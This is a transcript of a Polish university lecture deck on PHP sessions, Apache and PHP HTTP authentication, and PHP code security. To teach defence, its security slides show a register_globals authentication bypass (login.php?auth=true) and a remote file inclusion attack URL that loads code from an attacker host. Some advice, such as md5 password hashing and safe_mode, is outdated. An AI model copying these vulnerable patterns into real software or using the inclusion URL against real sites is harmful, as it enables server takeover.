Kurs WWW – wykład 10

44
Kurs WWW – wykład 10 Paweł Rajba [email protected] http:// www.ii.uni.wroc.pl /~ pawel /

description

Kurs WWW – wykład 10. Paweł Rajba [email protected] http://www.ii.uni.wroc.pl/~pawel/. PHP i sesje - wprowadzenie. Jak to działa? po co to? – stan aplikacji rola klienta i serwera identyfikator sesji (cookie lub zmienna GET). PHP i sesje - wprowadzenie. Utworzenie sesji - PowerPoint PPT Presentation

Transcript of Kurs WWW – wykład 10

Page 1: Kurs WWW – wykład 10

Kurs WWW – wykład 10

Paweł Rajba

[email protected]

http://www.ii.uni.wroc.pl/~pawel/

Page 2: Kurs WWW – wykład 10

PHP i sesje - wprowadzenie

Jak to działa? po co to? – stan aplikacji rola klienta i serwera identyfikator sesji (cookie lub zmienna GET)

Page 3: Kurs WWW – wykład 10

PHP i sesje - wprowadzenie

Utworzenie sesji

Korzystanie z sesji

KLIENTKLIENT SERWERSERWER

Klient wysyła żądanie zasobu

Serwer odsyła identyfikatornowo utworzonej sesji

KLIENTKLIENT SERWERSERWER

Klient wysyła żądanie zasobudołączając identyfikator sesji

Na serwerzetworzona jestnowa sesja

Na serwerzeodtwarzane

są dane sesji

Page 4: Kurs WWW – wykład 10

PHP i sesje – zestaw funkcji

string session_name ([string nazwa]) pobierz i/lub ustaw nazwę dla sesji wywołujemy przed session_start() używana w identyfikatorze sesji (ciastka lub

URL, domyślnie PHPSESSID) jeśli chcemy zmienić nazwę, to musimy ją

wywoływać na każdej stronie – w przeciwnym razie od razu przywracana jest wartość z session.name

Page 5: Kurs WWW – wykład 10

PHP i sesje – zestaw funkcji

string session_id ([string id]) pobierz i/lub ustaw identyfikator sesji jeżeli zmienić identyfikator bieżącej sesji, to

musimy wywołać funkcję przed session_start() bool session_start(void)

tworzy (lub odtwarza) sesję w oparciu o identyfikator sesji przekazywany przez COOKIE lub parametr w URL.

jeżeli używamy sesji opartych o cookies, to session_start() musi być wywołane przed wysłaniem czegokolwiek do przeglądarki

Page 6: Kurs WWW – wykład 10

PHP i sesje – zestaw funkcji

void session_write_close(void) zapisuje dane i kończy sesję

void session_commit(void) alias do session_write_close()

bool session_destroy(void) niszczy sesję, nie usuwa ciasteczka prosty sposób usunięcia ciastka sesyjnego:

setcookie(session_name(),"",0,"/")

Page 7: Kurs WWW – wykład 10

PHP i sesje – przykład

licznik.php

Page 8: Kurs WWW – wykład 10

PHP i sesje – zestaw funkcji

string session_save_path([string ścieżka]) pobierz i/lub ustaw ścieżkę zapisu bieżącej

sesji w Foxserv domyślnie:

C:\FoxServ\sessiondata bool session_regenerate_id(void)

tworzy nowy identyfikator dla sesji (dostępne od PHP 4.3.2)

Page 9: Kurs WWW – wykład 10

PHP i sesje – zestaw funkcji

string session_encode(void ) koduje dane sesji do postaci stringu

bool session_decode(string dane) odtwarza dane sesji ze stringu najpierw trzeba użyć session_start

void session_set_cookie_params(

int czas_życia

[, string ścieżka

[, string domena]]) ustawia parametry ciastka sesji

Page 10: Kurs WWW – wykład 10

PHP i sesje – zestaw funkcji

array session_get_cookie_params(void) zwraca parametry ciasteczka sesji

lifetime – czas życia sesji path – ścieżka dla sesji domain – domena ciasteczka secure – ciasteczko może być przesyłane tylko

poprzez biezpieczne połączenie

Page 11: Kurs WWW – wykład 10

PHP i sesje – zmienne (cz. 1)

bool session_register(mixed nazwa

[, mixed ...]) rejestruje zmienną globalną jako zmienną sesji$dilbert = "Fajny komiks";

session_register("dilbert");

bool session_unregister(string nazwa) wyjestruj zmienną z bieżącej sesji

Page 12: Kurs WWW – wykład 10

PHP i sesje – zmienne (cz. 1)

void session_unset(void) zwalnia wszystkie zmienne sesji

bool session_is_registered(string nazwa) sprawdza, czy zmienna jest zarejestrowana

Page 13: Kurs WWW – wykład 10

PHP i sesje – zmienne (cz. 2)

Używamy tablicy $_SESSION[ ] (w starszych wersjach $HTTP_SESSION_VARS[ ]) ustanowienie zmiennej sesyjnej

$_SESSION["zmienna"] = "a to jej wartosc" usunięcie zmiennej sesyjnej

unset($_SESSION["zmienna"]) usunięcie wszystkich zmiennych

$_SESSION = array() sprawdzenie, czy zmienna istnieje

isset($_SESSION["zmienna"])

Page 14: Kurs WWW – wykład 10

PHP i sesje - przykłady

Niszczenie sesji (pierwszy sposób)

<?php

// Jeśli używasz sesion_name("cośtam"),

// nie zapomnij o tym teraz!

session_start();

session_unset();

session_destroy();

?>

Page 15: Kurs WWW – wykład 10

PHP i sesje - przykłady

Niszczenie sesji (drugi sposób)

<?php

// Jeśli używasz sesion_name("cośtam"),

// nie zapomnij o tym teraz!

session_start();

$_SESSION = array();

session_destroy();

?>

Page 16: Kurs WWW – wykład 10

PHP i sesje

Propagowanie identyfikatora w URLu kiedy stosować? stała SID opcja --enable-trans-sid opcja --enable-trans-sid, a wydajność –

różnica ok. 10% Zapisywanie danych sesji w bazie danych

do czego może się to przydać? (personalizacja) funkcje session_encode() i session_decode()

Page 17: Kurs WWW – wykład 10

PHP i sesje – opcje

session.save_path określa, gdzie będą tworzone pliki z danymi

sesji domyślnie: C:\FoxServ\sessiondata

session.name określa nazwę sesji, która będzie też nazwą

ciastka domyślnie PHPSESSID

Page 18: Kurs WWW – wykład 10

PHP i sesje – opcje

session.auto_start określa, czy sesja ma być uruchamiana

automatycznie na początku wywołania domyślnie 0 (wyłączone)

session.cookie_lifetime określa w sekundach długość życia ciastka

sesyjnego 0 oznacza "dopóki przeglądarka nie została

zamknięta" domyślnie 0

Page 19: Kurs WWW – wykład 10

PHP i sesje – opcje

session.use_cookies określa, czy identyfikator sesji będzie po

stronie klienta pamiętany za pomocą ciastka domyślnie 1 (włączone)

session.use_only_cookies określa, czy do pomiętania id sesji mają być

wykorzystywane tylko ciastka domyślnie 0 (ze względu na kompatybilność) zwiększa bezpieczeństwo

Page 20: Kurs WWW – wykład 10

Kontrola dostępu do danych

Terminologia Authentication – identyfikacja Authorization – czy jest dostęp do zasobu Access Control – sterowanie dostępem do

zasobu (może zależeć od innych czynników)

Page 21: Kurs WWW – wykład 10

Autoryzacja HTTP

Rodzaje Basic Digest

Główna zaleta Digest – hasło nie jest przesyłane jawnym tekstem

Page 22: Kurs WWW – wykład 10

Autoryzacja HTTP w Apache'u

Najpierw sprawdzamy, czy apache jest skompilowany z modułem mod_auth.c

apache.exe -l

httpd -l Upewniamy się, że pliku httpd.conf jest wpis

AllowOverride All Teraz, możemy utworzyć plik .htaccess w

każdym katalogu w którym chcemy sterować prawami dostepu

Page 23: Kurs WWW – wykład 10

Autoryzacja HTTP w Apache'u

Przykładowa zawartość pliku .htaccess<Files tajne.php supertajne.php>

AuthType Basic

AuthUserFile /usr/local/apache/users

AuthName "Administration Module"

Require valid-user // pawel zenek

Order allow,deny

Allow from swiatowit.ii.uni.wroc.pl

Deny from all

Satisfy any // all

</Files>

Pominięcie znacznika Files sprawi, że chroniona będzie cała zawartość katalogu

Page 24: Kurs WWW – wykład 10

Autoryzacja HTTP w Apache'u

Na końcu tworzymy użytkownika

htpasswd -c users pawel

htpasswd users john istotne, żeby pliku z użytkownikami nie

trzymać w miejscu dostępnym z przeglądarki

Page 25: Kurs WWW – wykład 10

Autoryzacja HTTP w Apache'u

Podsumowanie wystarcza przy mało wymagającej autoryzacji ograniczenia przy zarządzaniu użytkownikami interfejs przeglądarki wylogowanie poprzez wyłączenie przeglądarki konieczność ingerencji w konfigurację serwera

Page 26: Kurs WWW – wykład 10

Autoryzacja HTTP w PHP

Kilka uwag na początek: obsługiwana tylko wtedy, gdy PHP działa jako

moduł Apache (jako CGI – nie działa) obecnie obsługiwana jest tylko autoryzacja

typu Basic po wysłaniu nagłówków, użytkownik wpisuje

dane użytkownika i hasło, które są przekazywane w zmiennych

$_SERVER['PHP_AUTH_USER'] $_SERVER['PHP_AUTH_PW']

Page 27: Kurs WWW – wykład 10

Autoryzacja HTTP w PHP

Przykład: httpauth.php

Page 28: Kurs WWW – wykład 10

Autoryzacja – sesje w PHP

Etapy dostępu do danych Logowanie

pobranie danych użytkownika (login + hasło) weryfikacja odnotowanie faktu weryfikacji w logach rozpoczęcie sesji

Page 29: Kurs WWW – wykład 10

Autoryzacja – sesje w PHP

Etapy dostępu do danych Użycie sesji

podtrzymanie sesji ponowna weryfikacja uprawnień

Wylogowanie zakończenie sesji odnotowanie faktu w logach usunięcie danych związanych z sesją (ważne)

Page 30: Kurs WWW – wykład 10

Autoryzacja – sesje w PHP

Przykład: login.php i pokaz.php

Page 31: Kurs WWW – wykład 10

Autoryzacja – sesje w PHP

Sprawdzanie hasła: jak w przykładzie na podstawie pliku tekstowego na podstawie bazy danych

W miarę możliwości nigdzie nie trzymamy haseł w postaci jawnej

Page 32: Kurs WWW – wykład 10

Autoryzacja – sesje w PHP

Zalety przechowywania haseł w pliku dobre dla obsługi kilku użytkowników łatwa obsługa nie wymagają dodatkowego oprogramowania

Zalety przechowywania haseł w bazie danych możliwość obsługi bardzo wielu użytkowników szybszy dostęp lepsze zarządzanie zawartością większe bezpieczeństwo

Page 33: Kurs WWW – wykład 10

Autoryzacja – sesje w PHP

Przesyłanie hasła jawny tekst szyfrogram md5 (obliczany po stronie klienta)

Page 34: Kurs WWW – wykład 10

Bezpieczeństwo kodu PHP

Opcja register_globals w php.ini jej włączenie powoduje, że wszystkie dane

pochodzące od użytkownika są dostępne z poziomu zmiennej (POST, GET, COOKIE, ...)

powinna być wyłączona (Off) i tak jest domyślnie

Przykład (login.php):<?phpif ($password == "as3jksj4w") $auth=true;if ($auth) uruchom_tajne_procedury();?>

Page 35: Kurs WWW – wykład 10

Bezpieczeństwo kodu PHP

A teraz uruchamiamy skrypt

login.php?auth=true Przykład: (login.php ulepszony)<?php

$auth=false;

if ($password == "as3jksj4w") $auth=true;

if ($auth) uruchom_tajne_procedury();

?>

Page 36: Kurs WWW – wykład 10

Bezpieczeństwo kodu PHP

Raportowanie błędów – error_reporting() podczas pisania skryptów, testowania należy

włączyć raportowanie

error_reporting(E_ALL) przy wdrażaniu aplikacji należy wszystkie

raportowania bezwzględnie powyłączać

error_reporting(0)

Page 37: Kurs WWW – wykład 10

Bezpieczeństwo kodu PHP

Weryfikacja danych pochodzących od użytkownika sprawdzić należy wszystkie dane w

szczególności pod kątem typ danych zawartość długość

akceptujemy te tylko dane, których się spodziewaliśmy

nigdy nie polegamy na weryfikacji po stronie klienta

Page 38: Kurs WWW – wykład 10

Bezpieczeństwo kodu PHP

W jaki sposób weryfikować? sprawdzić typy skorzystać z wyrażeń regularnych sprawdzić wielkość sprawdzić zbiór dopuszczalnych wartości ...

Page 39: Kurs WWW – wykład 10

Bezpieczeństwo kodu PHP

Przykład:<?php

if (isset($_GET["plik"])) include($_GET["plik"]);

?>

i agresor robi tak:skrypt.php?plik=http://agresor.pl/zlosliwy.php

Page 40: Kurs WWW – wykład 10

Bezpieczeństwo kodu PHP

Wszystkie pliki PHP powinny być przez serwer parsowane jeżeli dajemy rozszerzenie .inc, to musimy się

upewnić, że pliki z tym rozszerzeniem są interpretowane

Nie należy dawać możliwości oglądnięcia wyniku działania funkcji phpinfo()

Page 41: Kurs WWW – wykład 10

Bezpieczeństwo kodu PHP

Upload plików należy upewniać się, że upload pliku

faktycznie miał miejsce – służą do tego funkcje

is_uploaded_file() move_uploaded_file()

Page 42: Kurs WWW – wykład 10

Bezpieczeństwo kodu PHP

Tryb bezpieczny (safe_mode) jeśli możliwe, należy z tego korzystać, chociaż

lepiej dobrze skonfigurować serwer WWW skrypt ma dostęp tylko to tych plików których

właścicielem jest właściciel skryptu

Page 43: Kurs WWW – wykład 10

Bezpieczeństwo kodu PHP

Dyrektywy odpowiedzialne za tryb bezpieczny safe_mode = Off safe_mode_gid = 0 safe_mode_include_dir = safe_mode_exec_dir = open_basedir = safe_mode_allowed_env_vars = PHP_ safe_mode_protected_env_vars =

LD_LIBRARY_PATH disable_functions =

Page 44: Kurs WWW – wykład 10

Bezpieczeństwo kodu PHP

Ukrywanie rozszerzeń dodajemy w pliku httpd.conf

(ewentualnie .htaccess)

AddType application/x-httpd-php .htm .html Ukrywanie hasła do bazy danych (plik httpd.conf)<Directory "C:\Foxserv\www\test">php_admin_value open_basedir C:\Foxserv\www\testphp_admin_value disable_functions a3js8ge4a2</Directory><?phpecho ini_get("disabled_functions"); ?>